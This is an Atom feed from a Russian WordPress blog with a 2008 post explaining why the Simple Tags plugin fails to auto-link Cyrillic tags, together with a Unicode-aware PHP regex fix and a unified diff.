<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/atom10russianfull.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" xml:lang="en" xml:base="http://blog.sjinks.org.ua/wp-atom.php">
	<title type="text">Ars Longa, Vita Brevis</title>
	<subtitle type="text">Verba volant, scripta manent</subtitle>

	<updated>2008-11-22T06:03:48Z</updated>
	<generator uri="http://wordpress.org/" version="2.7-beta3">WordPress</generator>

	<link rel="alternate" type="text/html" href="http://blog.sjinks.org.ua" />
	<id>http://blog.sjinks.org.ua/feed/atom/</id>
	

			<geo:lat>44.60000</geo:lat><geo:long>33.53333</geo:long><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc-sa/3.0/" /><logo>http://creativecommons.org/images/public/somerights20.gif</logo><link rel="self" href="http://feeds.feedburner.com/sjblog" type="application/atom+xml" /><feedburner:emailServiceId>1792998</feedburner:emailServiceId><feedburner:feedburnerHostname>http://www.feedburner.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.rojo.com/add-subscription?resource=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://blog.rojo.com/RojoWideRed.gif">Subscribe with Rojo</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/sjblog" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://my.feedlounge.com/external/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://static.feedlounge.com/buttons/subscribe_0.gif">Subscribe with FeedLounge</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><feedburner:feedFlare href="http://lenta.yandex.ru/settings.xml?name=feed&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://lenta.yandex.ru/i/addfeed.gif">?????? ? ??????.?????</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="https://intouch.particls.com/download/?mode=2&amp;feed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="https://intouch.particls.com/resources/buttons/it-button2.gif">Subscribe with Particls</feedburner:feedFlare><feedburner:feedFlare href="http://www.addtoany.com/?linkname=Ars%20Longa%2C%20Vita%20Brevis&amp;linkurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog&amp;type=feed" src="http://www.addtoany.com/addfr-b.gif">Add to Any Feed Reader</feedburner:feedFlare><feedburner:feedFlare href="http://www.fwicki.com/users/default.aspx?addfeed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.fwicki.com/images/ui/fwicki_clicklet.png">Subscribe with fwicki</feedburner:feedFlare><feedburner:feedFlare href="zune://subscribe/?Ars%20Longa%2C%20Vita%20Brevis=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="https://www.feedburner.com/fb/images/partners/sslchicklets/zune.gif">Subscribe with Zune Marketplace</feedburner:feedFlare><entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Simple Tags и автоматические ссылки меток на русском языке]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/461547721/" />
		<id>http://blog.sjinks.org.ua/?p=372</id>
		<updated>2008-11-22T06:03:48Z</updated>
		<published>2008-11-22T06:03:48Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Патчи" /><category scheme="http://blog.sjinks.org.ua" term="bug" /><category scheme="http://blog.sjinks.org.ua" term="patch" /><category scheme="http://blog.sjinks.org.ua" term="PHP" /><category scheme="http://blog.sjinks.org.ua" term="plugin" /><category scheme="http://blog.sjinks.org.ua" term="Simple Tags" /><category scheme="http://blog.sjinks.org.ua" term="utf8" /><category scheme="http://blog.sjinks.org.ua" term="WordPress" /><category scheme="http://blog.sjinks.org.ua" term="ошибка" /><category scheme="http://blog.sjinks.org.ua" term="патч" /><category scheme="http://blog.sjinks.org.ua" term="плагин" />		<summary type="html"><![CDATA[Сегодня у Lecacus'а на сайте наткнулся на упоминание одной нерешённой проблемы:
У меня не работают автоматические ссылки меток в содержимом записи для меток на русском языке. Т.е. если есть метка "wordpress", то слово "wordpress" заменяется на ссылку http://myblog.net/tag/wordpress/. А вот если есть метка "спорт", то слово "спорт" ссылкой не заменяется. Подскажите как сделать так, чтобы плагин [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/wordpress/patches/372-simple-tags-auto-link-tags-in-russian/">&lt;p&gt;Сегодня у Lecacus'а на &lt;a href="http://lecactus.ru/2007/10/07/851/" rel="nofollow"&gt;сайте&lt;/a&gt; наткнулся на упоминание одной нерешённой проблемы:&lt;/p&gt;
&lt;blockquote cite="http://lecactus.ru/2007/10/07/851/#comment-20848"&gt;У меня не работают автоматические ссылки меток в содержимом записи для меток на русском языке. Т.е. если есть метка "&lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;wordpress&lt;/a&gt;", то слово "&lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;wordpress&lt;/a&gt;" заменяется на ссылку http://myblog.net/tag/&lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;wordpress&lt;/a&gt;/. А вот если есть метка "спорт", то слово "спорт" ссылкой не заменяется. Подскажите как сделать так, чтобы &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; работал и с русскими метками.&lt;/blockquote&gt;
&lt;p&gt;А так как сегодня мне уже пришлось иметь дело с &lt;a href="http://blog.sjinks.org.ua/tag/simple-tags/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with Simple Tags"&gt;Simple Tags&lt;/a&gt;, я решил разобраться, в чём же дело и исправить досадный баг.&lt;span id="more-372"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Сам по себе код плагина довольно-таки простой (что определённо делает честь автору), но регулярные выражения, использованные в коде, требуют некоторых знаний и навыков.&lt;/p&gt;
&lt;p&gt;За создание автоматических меток отвечает метод &lt;code class="codebox php"&gt;SimpleTags&lt;span class="sy0"&gt;::&lt;/span&gt;&lt;span class="me2"&gt;autoLinkTags&lt;/span&gt;&lt;/code&gt;, основу которого составляют регулярные выражения из &lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;PHP&lt;/a&gt; Markdown Михеля Фортина (Michel Fortin); замечу, что эти регулярные выражения исправлять не пришлось (хотя, по-хорошему, их можно упростить).&lt;/p&gt;
&lt;p&gt;Сама &lt;a href="http://blog.sjinks.org.ua/tag/%d0%be%d1%88%d0%b8%d0%b1%d0%ba%d0%b0/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with ошибка"&gt;ошибка&lt;/a&gt; находится в данной строке:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p3725"&gt;
        &lt;div class="code php" id="p372code5"&gt;
&lt;ol class="php php" style="font-family:monospace;" start="265"&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;span class="re0"&gt;$match&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/&lt;span class="es0"&gt;\b&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="kw3"&gt;preg_quote&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="re0"&gt;$term_name&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;&lt;span class="es0"&gt;\b&lt;/span&gt;/&amp;quot;&lt;/span&gt;&lt;span class="sy0"&gt;.&lt;/span&gt;&lt;span class="re0"&gt;$case&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Очень многие "Забугорные" программисты (а также наши, работающие на иностранцев), привыкли считать, что нет иной кодовой таблицы, нежели iso-8859-x, что, собственно, и выражается в регулярном выражении.&lt;/p&gt;
&lt;p&gt;Те, кто знаком с PCRE, знают, что \b&amp;nbsp;&amp;mdash;&amp;nbsp;это граница слова. Но в локали по умолчанию русские буквы не попадают в категорию "буквы"; как следствие, регулярное выражение &lt;code&gt;/\bспорт\b/&lt;/code&gt; не сработает.&lt;/p&gt;
&lt;p&gt;Решение проблемы состоит в использовании &lt;a href="http://www.php.net/manual/en/reference.pcre.pattern.syntax.php" rel="nofollow"&gt;классов символов Unicode&lt;/a&gt; (то, что знают, увы, очень немногие программисты).&lt;/p&gt;
&lt;p&gt;Фактически, нужно было проверять на нахождение не-буквы перед меткой и после метки; например, так:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p3726"&gt;
        &lt;div class="code php" id="p372code6"&gt;
&lt;span class="re0"&gt;$match&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/(&lt;span class="es0"&gt;\P&lt;/span&gt;L)(&amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="kw3"&gt;preg_quote&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="re0"&gt;$term_name&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;)(&lt;span class="es0"&gt;\P&lt;/span&gt;L)/u&amp;quot;&lt;/span&gt;&lt;span class="sy0"&gt;.&lt;/span&gt;&lt;span class="re0"&gt;$case&lt;/span&gt;;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Уже лучше, но работает не всегда. В частности, не будет работать, если метка идет сразу после открывающего тэга, либо сразу перед закрывающим тэгом (не сработает условие (\PL) в начале или в конце). Правильным решением будет следующее:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p3727"&gt;
        &lt;div class="code php" id="p372code7"&gt;
&lt;span class="re0"&gt;$match&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/(&lt;span class="es0"&gt;\P&lt;/span&gt;L|&lt;span class="es0"&gt;\A&lt;/span&gt;)(&amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="kw3"&gt;preg_quote&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="re0"&gt;$term_name&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;.&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;)(&lt;span class="es0"&gt;\P&lt;/span&gt;L|&lt;span class="es0"&gt;\Z&lt;/span&gt;)/u&amp;quot;&lt;/span&gt;&lt;span class="sy0"&gt;.&lt;/span&gt;&lt;span class="re0"&gt;$case&lt;/span&gt;;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Полное решение выглядит сложнее, но суть должна быть понятна.&lt;/p&gt;
&lt;p&gt;Ниже приведён &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%b0%d1%82%d1%87/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with патч"&gt;патч&lt;/a&gt; в формате unified diff:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p3728"&gt;
        &lt;div class="code diff" id="p372code8"&gt;
--- simple-tags.client.php.orig &lt;span class="nu0"&gt;2008&lt;/span&gt;-&lt;span class="nu0"&gt;11&lt;/span&gt;-&lt;span class="nu0"&gt;22&lt;/span&gt; 06:&lt;span class="nu0"&gt;15&lt;/span&gt;:&lt;span class="nu0"&gt;22.000000000&lt;/span&gt; +0200 &lt;br /&gt;
&lt;span class="re4"&gt;+++ simple-tags.client.php &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="nu0"&gt;2008&lt;/span&gt;-&lt;span class="nu0"&gt;11&lt;/span&gt;-&lt;span class="nu0"&gt;22&lt;/span&gt; 07:&lt;span class="nu0"&gt;53&lt;/span&gt;:&lt;span class="nu0"&gt;15.000000000&lt;/span&gt; +0200 &lt;/span&gt;&lt;br /&gt;
&lt;span class="re6"&gt;@@ -&lt;span class="nu0"&gt;262&lt;/span&gt;,&lt;span class="nu0"&gt;8&lt;/span&gt; +&lt;span class="nu0"&gt;262&lt;/span&gt;,&lt;span class="nu0"&gt;9&lt;/span&gt; @@ &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; foreach &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;array&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; $this-&amp;gt;link_tags as $term_name =&amp;gt; $term_link &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $filtered = &amp;quot;&amp;quot;; // will filter text token by token &lt;br /&gt;
&lt;span class="re7"&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $match = &amp;quot;/\b&amp;quot; . preg_quote&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$term_name, &amp;quot;/&amp;quot;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; . &amp;quot;\b/&amp;quot;.$case; &lt;/span&gt;&lt;br /&gt;
&lt;span class="re7"&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $substitute = '&amp;lt;a href=&amp;quot;'.$term_link.'&amp;quot; class=&amp;quot;st_tag internal_tag&amp;quot; '.$rel.' title=&amp;quot;'. attribute_escape&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; sprintf&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; __&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;'Posts tagged with %s', 'simpletags'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;, $term_name &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.&amp;quot;\&amp;quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="re8"&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $quoted = preg_quote&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$term_name, &amp;quot;/&amp;quot;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;; &lt;/span&gt;&lt;br /&gt;
&lt;span class="re8"&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $match = &amp;quot;/&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;\PL|\A&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&amp;quot; . preg_quote&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$term_name, &amp;quot;/&amp;quot;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; . &amp;quot;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;\PL|\Z&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;/u&amp;quot;.$case; &lt;/span&gt;&lt;br /&gt;
&lt;span class="re8"&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $substitute = '$&lt;span class="nu0"&gt;1&lt;/span&gt;&amp;lt;a href=&amp;quot;'.$term_link.'&amp;quot; class=&amp;quot;st_tag internal_tag&amp;quot; '.$rel.' title=&amp;quot;'. attribute_escape&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; sprintf&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; __&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;'Posts tagged with %s', 'simpletags'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;, $term_name &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.&amp;quot;\&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // for efficiency only tokenize if forced to do so &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; $must_tokenize &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Внимание:&lt;/strong&gt; &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%b0%d1%82%d1%87/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with патч"&gt;патч&lt;/a&gt; будет работать только если &lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;PHP&lt;/a&gt; собран с поддержкой UTF-8, если кодировка блога установлена в UTF-8 и соединение с базой данных тоже использует кодировку UTF-8. В принципе, ничего запредельного, &lt;em&gt;нормальная&lt;/em&gt; инсталляция &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt; будет отвечать этим требованиям.&lt;/p&gt;
&lt;p&gt;Те, кто не хотят заморачиваться с патчем, могут скачать пропатченную версию (но она требует как минимум &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt;&amp;nbsp;2.5).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://download.sjinks.org.ua:8080/wordpress/simple-tags-1.5.7.1.zip"&gt;Скачать Simple Tags 1.5.7.1&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/211-clicky-for-wordpress-and-javascript-problems/" title="Clicky 0.3b для WordPress и проблемы с JavaScript (July 1, 2008)"&gt;Clicky 0.3b для WordPress и проблемы с JavaScript&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/346-teaching-wordpress-to-correctly-encode-utf8-emails/" title="Учим WordPress правильно кодировать письма в UTF-8 (September 27, 2008)"&gt;Учим WordPress правильно кодировать письма в UTF-8&lt;/a&gt; (6)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/13-patch-for-wp-codebox-for-valid-xhtml/" title="Патч для WP CodeBox для Valid XHTML (March 11, 2008)"&gt;Патч для WP CodeBox для Valid XHTML&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/201-patch-for-wassup-16/" title="Патч для WassUp 1.6 (June 20, 2008)"&gt;Патч для WassUp 1.6&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/222-main-sources-of-invalid-markup-in-wordpress/" title="Основные источники неправильной разметки в WordPress (July 7, 2008)"&gt;Основные источники неправильной разметки в WordPress&lt;/a&gt; (4)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=4NuiAI"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=4NuiAI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=GyNFN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=GyNFN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ApExN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ApExN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=UlGun"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=UlGun" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RHPWn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RHPWn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=WBc7N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=WBc7N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=m9Dwn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=m9Dwn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kdqKN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kdqKN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=AjBcn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=AjBcn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Qx3AN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Qx3AN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=VOESN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=VOESN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a 